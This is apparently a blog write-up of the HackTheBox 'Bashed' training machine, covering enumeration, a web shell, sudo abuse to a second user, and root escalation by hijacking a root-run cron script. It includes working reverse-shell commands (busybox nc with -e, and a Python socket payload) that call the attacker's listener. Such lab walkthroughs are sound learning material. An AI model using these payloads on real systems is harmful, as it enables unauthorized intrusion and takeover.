Post

HackTheBox Bashed Writeup

Explore the fundamentals of cybersecurity in the Bashed Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.10.68 bashed.htb

Script to add hosts automatically

1
2
3
ip="10.10.10.68"
domain="bashed.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV bashed.htb
1
2
3
4
5
6
7
8
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 22:23 CEST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.051s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Directory Discovery

Start by using dirb to scan for directories on Bashed HTB:

1
dirb http://bashed.htb/

The scan reveals the following directories:

1
2
3
4
5
6
7
==> DIRECTORY: http://bashed.htb/css/                                                                        
==> DIRECTORY: http://bashed.htb/dev/                                                                        
==> DIRECTORY: http://bashed.htb/fonts/                                                                       
==> DIRECTORY: http://bashed.htb/images/                                                                           
+ http://bashed.htb/index.html (CODE:200|SIZE:7743)
==> DIRECTORY: http://bashed.htb/js/
==> DIRECTORY: http://bashed.htb/php/     

Getting a Shell:

1. Discover the PHP Bash Web Shell

2. Retrieve the User Flag

  • Once inside the PHP Bash web shell, retrieve the arrexel user flag:
1
cat /home/arrexel/user.txt

3. Check Sudo Privileges

  • After gaining access, check the sudo privileges for the current user:
1
sudo -l
  • The output reveals:
1
(scriptmanager : scriptmanager) NOPASSWD: ALL

This means you can execute any command as the scriptmanager user without a password.

4. Find Readable Directories for scriptmanager

  • Locate directories accessible by the scriptmanager user by running:
1
find / -type d -readable -user scriptmanager | grep -v '^/proc\|^/run\|^/sys'

This command lists readable directories for scriptmanager, excluding system directories like /proc, /run, and /sys.

5. Set Up a Reverse Shell Listener

  • On your attacking machine, set up a listener to catch the reverse shell:
1
nc -lvnp 9001

6. Initiate a Reverse Shell Using BusyBox

  • Since the available nc (netcat) version on the target system is netcat-openbsd, which lacks the -e option, you can use BusyBox to achieve a reverse shell. On the target machine, execute:
1
busybox nc 10.10.14.9 9001 -e /bin/bash

This command establishes a reverse shell connection to your listener on port 9001.

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

Monitor Processes with pspy

Objective: Use pspy to monitor processes without needing root privileges and identify processes being executed by root that may be exploitable.

Step 1: Download pspy

1
2
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64

Step 2: Transfer pspy to the Target Server Using Python HTTP Server

  • On your attacking machine, start a Python HTTP server in the directory where pspy64 is located:
1
python3 -m http.server 8080
  • On the target machine, download pspy64 using wget:
1
2
wget http://<vpn-ip>:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64

Step 3: Run pspy to Monitor Processes

  • Now that pspy64 is on the target machine, run it to monitor running processes:
1
/tmp/pspy64
  • While monitoring, pspy may show processes that are periodically executed by root. For example:
1
2024/09/27 14:02:01 CMD: UID=0     PID=1249   | python test.py
  • This shows that test.py is executed by root, which could be exploited by modifying the script.

1. Switch to scriptmanager User

  • test.py is owned by scriptmanager, switch to scriptmanager:
1
sudo -u scriptmanager bash

2. Edit test.py

  • Navigate to the location of test.py, which was identified by pspy, and edit the script to include a Python reverse shell payload:
1
nano /scripts/test.py
  • Replace the contents of test.py with the following reverse shell code:

Replace <vpn-ip> with your actual VPN IP to receive the connection.

1
2
3
4
import socket, os, pty
s = socket.socket(); s.connect(("<vpn-ip>", 9002))
for fd in (0, 1, 2): os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")

3. Set up a Listener

  • On your local machine (the attacker machine), set up a listener to capture the reverse shell:
1
nc -lvnp 9002

4. Wait for Execution

  • The test.py script is executed periodically by root, as observed in pspy. Wait for the next execution, and the reverse shell should connect to your listener.

5. Capture Root Access

  • Once the reverse shell connects, you should have a shell as root. You can verify this by checking the user and reading sensitive files:
1
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.